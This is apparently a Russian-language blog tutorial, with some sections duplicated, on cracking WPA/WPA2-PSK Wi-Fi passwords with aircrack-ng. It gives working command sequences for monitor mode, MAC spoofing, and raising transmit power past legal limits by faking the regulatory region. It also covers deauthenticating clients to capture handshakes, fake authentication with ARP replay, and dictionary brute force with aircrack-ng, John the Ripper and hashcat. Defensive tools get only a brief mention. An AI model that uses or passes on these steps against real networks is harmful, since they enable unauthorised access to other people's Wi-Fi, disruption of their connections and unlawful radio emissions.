Методология получения пароля
Здесь и далее речь пойдёт о wifi сетях защищённых паролем одним паролем для всех клиентов (WPA-PSK). Хотя, есть и другие способы защитить сеть.
1. Для прослушивания эфира понадобится перевести карту в режим монитора (monitor), чтобы можно было беспрепятственно прослуживать, а самое главное записывать происходящее в эфире (на частоте wifi).
2. В этом
режиме нужно будет поймать так называемое четырхэтапное
(четырёхсторонее) рукопожатие происходящее в момент подключения клиента к
точке доступа.
3. Далее, получив эти пакеты, можно делать предположения о пароле - брутфорсить.
Самые интересные это этапы 2 и 3.
Этап 1. Каждый клиент использует свой ключ (Pairwise Transient Key — кратковременный парный ключ) для шифрования. Этот ключ создаётся в момент подключения к ТД и меняется при каждом подключении. Он зависит от:
- Pairwise Master Key — главный парный ключ, который зависит от:
-- пароля,
-- названия сети;
- MAC клиента;
- MAC точки доступа;
- A-nonce - случайная строка сгенерированная ТД;
- S-nonce - случайная строка сгенерированная клиентом.
Таким образом, обычно кроме пароля атакующему неизвестны A-nonce и S-nonce, которыми ТД и клиент обмениваются при подключении последнего в начале четырёхстороннего рукопожатия. Именно ради них и нужно либо ждать подключения клиента, либо принуждать его к переподключению. Наконец нужно знать MIC, который передаётся клиентом вместе с S-nonce. Кроме того, нужно знать имя сети, он содержится в beacon frame.
Самые интересные это этапы 2 и 3.
Этап 1. Каждый клиент использует свой ключ (Pairwise Transient Key — кратковременный парный ключ) для шифрования. Этот ключ создаётся в момент подключения к ТД и меняется при каждом подключении. Он зависит от:
- Pairwise Master Key — главный парный ключ, который зависит от:
-- пароля,
-- названия сети;
- MAC клиента;
- MAC точки доступа;
- A-nonce - случайная строка сгенерированная ТД;
- S-nonce - случайная строка сгенерированная клиентом.
Механизм создания PMK, PTK и MIC. |
Таким образом, обычно кроме пароля атакующему неизвестны A-nonce и S-nonce, которыми ТД и клиент обмениваются при подключении последнего в начале четырёхстороннего рукопожатия. Именно ради них и нужно либо ждать подключения клиента, либо принуждать его к переподключению. Наконец нужно знать MIC, который передаётся клиентом вместе с S-nonce. Кроме того, нужно знать имя сети, он содержится в beacon frame.
Для брута пароля необходимы три WiFi кадра
Первый кадр - beacon frame не содержит ничего примечательного кроме имени сети.
|
Второй кадр: точка дочтупа отправляет A-nonce |
Тритий кадр: клиент отвечает фреймом содежащим S-nonce и MIC |
4 way handshake |
Когда вся необходимая информация собранна, остаётся к уже известным данным добавлять различные пароли и проверять их на пригодность.
Этап 3.
Чтобы подбирать пароль, нужно знать как проверить его на пригодность. Здесь это происходит путём сравнения MIC (Message Integrity Code - код целостности сообщения) переданного по wifi сети и вычисленного при брутфорсе. MIC зависит помимо прочего и от PTK, а значит перебирая пароли можно получать разные MIC и сравнивать их с перехваченным.
Подробнее о генерации ключей и о методе перебора можно почитать здесь.
Сперва последует некоторая воводно-подготовительная часть, а далее уже сам процесс проверки сети на защищённость. Причём, будут рассмотрены аспекты касающиеся в основном aircrack.
Режимы работы wifi карты [link]
Managed - управляемый режим (по-умолчанию). Устройство работает как клиент с точкой доступа.
Ad-Hoc - устройство является самостоятельной ячейкой одноранговой сети;
Master - Мастер (узел является мастером синхронизации или работает как Точка Доступа),
Repeater — Повторитель (узел перенаправляет пакеты между другими беспроводными узлами)
Secondary - Вторичный (узел выступает в качестве резервного мастера/повторителя),
Monitor — Контроль (узел связан со всеми ячейками и пассивно мониторит все пакеты на частоте)
Auto - Автоматический.
Master - Мастер (узел является мастером синхронизации или работает как Точка Доступа),
Repeater — Повторитель (узел перенаправляет пакеты между другими беспроводными узлами)
Secondary - Вторичный (узел выступает в качестве резервного мастера/повторителя),
Monitor — Контроль (узел связан со всеми ячейками и пассивно мониторит все пакеты на частоте)
Auto - Автоматический.
iwconfig покажет режим работы wifi карты:
wlan0 IEEE 802.11 ESSID:"my_network"
Mode:Managed Frequency:2.412 GHz Access Point: 11:22:33:45:67:89
Bit Rate=1 Mb/s Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Link Quality=56/70 Signal level=-54 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:157 Missed beacon:0
Aircrack-ng
Aircrack-ng можно найти в LiveCD на основе Silitaz (сборка разработчиков Aircrack-ng), в Kali linux (ранее Backtrack) или установить отдельно. Имеются версии для Windows и Linux. Последняя предпочтительнее. Разработчики предлагают ещё образ для VMware, который работает исключительно с USB WiFi картами.
Все операции выполняются от имени суперпользователя. Далее будет рассмотрена версия aircrack-ng 1.2.
Best Compatible USB Wireless Adapter for BackTrack 5, Kali Linux and Aircrack-ng
Best Compatible USB Wireless Adapter for BackTrack 5, Kali Linux and Aircrack-ng
Подготовка
Посмотреть список сетевых устройствПеревести Wi-Fi карту в режим монитора. Здесь и далее имя wifi карты wlan0airmon-ng
таким же образом, только командой stop можно остановить монитор на сетевой карте.airmon-ng start wlan0
По-умолчанию имя монитора wlan0mon, используем теперь его.
Некоторые программы могут вмешиватся в работу адаптера. Их список можно просмотреть:
airmon-ng checkи при необходимости сделать попыку завершить их работу:
airmon-ng check kill
Проверить, поддерживает ли карта инъекцию пакетов (injection_test) [подробнее, doc]
aireplay-ng -9 wln0mon
Поменяем mac адрес карты, для этого отключаем её
ifconfig wlan0mon down
поменять MAC адрес сетевой карты на рандомный (-r) или какой-то определённый (-m 00:31:41:59:26:53)
включаем сетевую картуmacchanger wlan0mon -rили
ifconfig wlan0mon hw ether 00:00:00:00:aa:bb
ifconfig mon0 up
Увеличение мощности WiFi сигнала
Не все карты поддерживают изменение мощности в руном режиме. Ограничения на мощность сигнала описаны в файле /lib/crda/regulatory.bin (просмотреть командой regdbdump /lib/crda/regulatory.bin), для России как и для многих других стран, мощность ограничена 20дБ:
country RU:
(2402.000 - 2482.000 @ 40.000), (N/A, 20.00)
Для Белиза ограничения иные:
country BZ:
(2402.000 - 2482.000 @ 40.000), (N/A, 30.00)
Поэтому просто сменив регион, можно установив большую мощность передаваемого (tx - transmit) радиосигнала.
ifconfig wlan0 down – выключаем интерфейс
macchanger -r wlan0 – меняем MAC
iw reg set BZ – выставляем регион Белиз
iwconfig wlan0 txpower 30 – увеличиваем мощность
ifconfig wlan0 up – поднимаем интерфейс
***
Метод перехвата handshake (WEP, WPA, WPA2)
Самый простой способ. Необходимо перехватить момент авторизации клиента, получить т.н. handshake и используя последний подобрать пароль уже в офлайне. Ждать пока один из клиентов сети подключится к ней не обязательно, можно отключить его от сети и подождать переподключения, как правило оно происходит автоматически. Подробнее, но на английском: http://www.aircrack-ng.or
1. Промониторить доступные WiFi сети:
Например, --wps показать информацию о WPS, о производителе (-M) и времени (--uptime) работы точки доступа:airodump-ng <interface>
airodump-ng --wps -M --uptime wlan0mon
CH 3 ][ Elapsed: 15 mins ][ 2015-09-02 10:16 ][
PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH UPTIME WPS ESSID MANUFACTURER
E9:78:B0:BE:EF:38 -55 2057 98 0 5 54e. WPA2 CCMP PSK 0d 03:24:58 1.0 ETHER,LAB,PBC TP-LINK_BEEF38 TP-LINK TECHNOLOGIES CO
60:B3:4E:1A:08:6E -59 992 3 0 1 54e WPA2 CCMP PSK 0d 05:08:05 kv29 SAGEMCOM
7D:51:A2:6D:3B:B3 -81 1045 0 0 5 54e. WPA2 CCMP PSK 0d 01:27:42 SoftAP Unknown
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 8C:27:16:E7:65:86 -85 0 - 1 0 1
(not associated) 9C:C5:E4:E6:D9:57 -88 0 - 1 0 9
(not associated) 00:10:3B:24:B5:92 -70 0 - 1 0 61
(not associated) D7:4A:00:11:51:91 -93 0 - 1 0 49 Ivanov
E9:78:B0:BE:EF:38 8C:D1:07:BE:80:5F -71 0e- 1e 0 37
E9:78:B0:BE:EF:38 0C:BD:51:27:74:08 -65 0 - 1 0 8
Следить за конкретной точкой доступа и клиентами удобнее, если перейти в режим выделения <TAB> и там уже выделить интересующую точку доступа, автоматически будут подсвечены и подключенный к ней клиенты. Клавишей M устанавливается постоянная "подсветка" цветом ТД и подключенных устройств. Отсортировать таблицу по определённому полю можно последовательным нажатием клавиши S.
2. Начать запись перехваченных пакетов сети в файл:-c номер прослушиваемого канала.airodump-ng -c <chanel_number> -w <out-file> --bssid <bssid> <interface>
Сетевая карта в один момент времени способна прослушивать только один канал. Если в параметрах airodump-ng не указать конкретного канала, то карта будет слушать весь эфир, уделяя каждому отдельному каналу время и игнорируя данные передаваемые на других каналах.
-w имя файла, куда будут сохранены пакеты.
--bssid - bssid точки доступа.
***
В случае если во время перехвата пакетов возникает ошибка "fixed channel -1" , то её можно попытаться исправить передав ключ
***
В случае если во время перехвата пакетов возникает ошибка "fixed channel -1" , то её можно попытаться исправить передав ключ
--ignore-negative-one.
Такой же ключ нужно передать и программе airoplay-ng. [askubuntu],[kali]
3. параллельно процессу перехвата пакетов:
посылка пакетов деаутентификации
-0 режим отсылки пакетов деаутентификацииairoplay-ng -0 5 -a <bssid> <interface>
-a bssid точки доступа
-с ssid клиента, кого следует деаутентифицировать (необязательный параметр)
4. Ждать получения handshake.
Пакеты деаутентификации посылаются напрямую клиентам, а они как правило имеют меньший радиус "слышимости" чем точка доступа. Проследить получение клиентом пакетов можно по количеству ответных ACK пакетов от него.
возможно стоит поэкспериментировать со скоростью работы карты iwconfig <interface> rate auto [1MB, 2MB, 11MB, 54MB, etc] чтобы она совпадала со скоростью работы точки доступа.
Иногда airodump-ng не сообщает о получении handshake, поэтому стоит время от времени проверять cap файл на наличие handshake.
Самый простой способ это сделать, открыть файл например с помощью wireshark и применить фильтр eapol.
Например:
tshark -r n-01.cap -Y "eapol"
Для брута пароля необходимо два первых последовательных пакета"рукопожатия" (производимого с ТД за 4 шага). В них содержатся случайные строки сгенерированные клиентом и ТД - A-nonce и S-nonce, которые необходимы для генерации ключа PTK, а также MIC который используется для подбора пароля.
Более быстрый, но чуть менее надежный (с практической точки зрения) результат может дать программа cowpatty:
cowpaty -c -r <cap_file>
Вполне возможно, что данных для брута в cap файле достаточно, но cowpatty вполне справедливо может отметить, что handshake не полный.
Выдернуть только необходимые для брута пакеты из дампа способна утилита wpaclean, тем самым избавив от необходимости работы с возможно объёмным cap файлом:
wpaclean <новый-pcap-файл> <pcap-файл>
5. Если handshake получен, то приступить к подбору пароля
<dump> - имя файла с дампом.aircrack-ng <dump-file.cap> -w <pass_dict>
-w имя файла со словарём паролей.
вместе c Backtrack поставляется словарь, найти его можно здесь: /root/pentest/passwords/wordlists, aircrack-ng тоже содержит в директории_исходных_кодов\test\password.lst словарь.
Предварительно можно запустить бенчмарк для измерения скорости подбора:
aircrack-ng -S
а также показать сведенья о процессоре:
Для генерации собственного своего словаря можно использовать crunch.aircrack-ng -u
Если есть необходимость применить правила трансформации для паролей из словаря, то можно использовать John The Ripper через конвейер:
/opt/john/john --stdout -w:wordlist.lst --rules | aircrack-ng handshake -b 11:22:22:22:22:22 -w -
JohnTheRipper-Jumbo тоже подойдёт для перебора. Однако нужно конвертировать handshake из pcap файла в понятный для John формат с помощью программы wpapcap2john, что поставляется вместе с версией сообщества JTR-Jumbo (git, ветка bleeding jumbo):
/opt/john/wpapcap2john dump.cap > handshake.john
/opt/john/john lar-handshake.john --format=wpapsk
Кроме использования правил, John может похвастаться возможностью сохранять состояние перебора, позволяя продолжить его в дальнейшем с того же места, где работа была прервана.
Увеличить производительность брута поможет GPU. Для этого Windows можно использовать Elcomsoft Wireless Security Auditor, Linux - pyrit, но наверное лучшая программа для этого кросплатформенный oclHashcat.
Fake authentation
airodump-ng -c <channel> -w <out_file> --bssid <bssid> <interface> # dumping...
# making fake authentication
aireplay-ng -l 0 -a <bssid> -h <my_ssid> <interface>
#start airplay-ng in ARP request replay mode (-3 )
aireplay-ng -3 -b <bssid> -h <my_ssid> <interface>
#cracking the password
aircrack-ng -n <64 or 128 or ..> --bssid <bssid> <cap file>
...
Защита wifi
SoftPerfect WiFi Guard (Windows, MacOS) производит сканирование сети с определённым интервалом. Предупреждает о подключении незнакомого устройства, показывает список WiFi клиентов.
SoftPerfect WiFi Guard |
waidps (python script). В число возможностей программы входит обнаружение атак и подозрительной активности в WiFi сетях. Ведёт логирование и предупреждает об атаках. Во время работы переводит WiFi адаптер в режим монитора.
пример вывода waidps.
|
Алсо
Тест скорости подбора паролей WPA (-S )aircrack-ng -S
Подключение к wifi сети из командной строки
С использованием утилиты сходящей в состав Network Manager - nmcli [using nmcli], [also].
С программой довольно просто работать, ибо по двойному табу она показывает возможные команды. Кроме того, в руководстве есть примеры использования.
Просмотрим список доступных сетей:
Подключимся к новой сети с SSID "Cafe Hotspot 1" используя пароль caffeine
***
При подключении к сети MAC адрес карты может поменяться на дефолтный, поэтому перед сменой адреса карты следует отключать службу
network-manager:
***
Смена hostname: askubuntu.com
***
Подробная информация об адаптерах [askubuntu]
Включение режима точки доступа WiFi карты с использование hostapd
habrahabr.ru
Стоит отметить, что hostapd игнорирует комментарии только в отдельных строках. Для проверки конфига ТД следует запускать не демон (service hostapd start), а использовать комманду (-dd для подробного вывода)
Другие утилиты
С использованием утилиты сходящей в состав Network Manager - nmcli [using nmcli], [also].
С программой довольно просто работать, ибо по двойному табу она показывает возможные команды. Кроме того, в руководстве есть примеры использования.
Просмотрим список доступных сетей:
nmcli dev wifi
SSID BSSID РЕЖИМ ЧАСТОТА СКОРОСТЬ СИГНАЛ БЕЗОПАСНОСТЬ АКТИВЕНЭтот способ можно использовать и для того, что сравнить уровень сигнала на нескольких картах одновременно. В этом случае, для каждого адаптера будет отображаться своя таблица.
'network1' C1:B0:C1:f6:AD:09 Инфраструктура 2417 МГц 54 МБ/с 69 WPA2 нет
'network2' F0:37:AA:CF:F8:66 Инфраструктура 2462 МГц 54 МБ/с 62 WPA2 нет
Подключимся к новой сети с SSID "Cafe Hotspot 1" используя пароль caffeine
nmcli dev wifi con "Cafe Hotspot 1" password caffeine name "My cafe"
***
При подключении к сети MAC адрес карты может поменяться на дефолтный, поэтому перед сменой адреса карты следует отключать службу
network-manager:
service network-manager stopДругой путь - в настройках подключения Network Manager'a в поле cloned MAC указать вновь присвоенный карте MAC адрес.
***
Смена hostname: askubuntu.com
***
Подробная информация об адаптерах [askubuntu]
lshw -C networkили
iw list***
Включение режима точки доступа WiFi карты с использование hostapd
habrahabr.ru
Стоит отметить, что hostapd игнорирует комментарии только в отдельных строках. Для проверки конфига ТД следует запускать не демон (service hostapd start), а использовать комманду (-dd для подробного вывода)
hostapd -dd <файл конфигурации>Нормальной работе hostapd может мешать NetworkManager, поэтому следует либо его отключить либо добавать MAC адрес интерфейса в исключения. [help.ubuntu]
Другие утилиты
Airodump-NG Scan Visualizer - поможет просмотреть CVS файл и поиграться с хранящимися там данными о сетях. В том числе покажет информацию о подключённых клиентах, уровне сигнала, шифровании перехваченных пакетах и т.п.
"Zero Security: A". Horst - утилита для анализа Wi-Fi сетей
Waidps – средство обнаружения атак в Wi-Fi сетях
"Zero Security: A". Horst - утилита для анализа Wi-Fi сетей
Waidps – средство обнаружения атак в Wi-Fi сетях
Python
С помощью пакеты Scapy можно довольно легко анализировать сетевые пакеты. Wifi - пакет с нехитрым названием и функционалом похожим на iwlist: сканирование сетей и подключение к ним.
Violent Python - A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers, TJ O'Connor
Модификация форка Reaver — t6x — для использования атаки Pixie Dust
Фальшивый хотспот Wifiphisher автоматически собирает пароли
Отправка сообщения по окончанию процесса перебора
Процесс
подбора пароля ожидаемо может быть долгим, поэтому логичным будет
как-то информировать пользователя об его окончании. Самый простой путь -
добавить комманду через точку с запятой после вызова aircrack:
Обыкновенный вывод уведомления на экран программой notify-send не подходит, то можно отправить XMPP сообщение программой sendxmpp или емейл программой mailx. [linux notes]aircrack-ng dump.cap -w wordlist; notify-send "John complited"
Если возникает необходимость настроить отправку сообщения когда aircrack-ng уже запущен и нет желания прерывать его работу, то можно воспользоваться простеньким однострочным скриптом:
while [ `pidof aircrack-ng` ]; do sleep 10; done; notify-send "..."Скрипт будет выполнять команду sleep 10, до тех пор пока он может получить pid процесса с именем aircrack-ng. Затем, когда pid не будет получен (процесс aircrack-ng завершится) выполнится следующая комманда - notify-send. Разумеется для корректной работы скрипта нужно чтобы работал только один экземпляр процесса aircrack-ng.
Так всё сложно...Я тут видео посмотрела https://codeby.net/media/evil-twin-s-pomoschju-airgeddon.127/ про взлом вай фая, там несколько кнопочек нажать и всё, дело сделано.
ОтветитьУдалить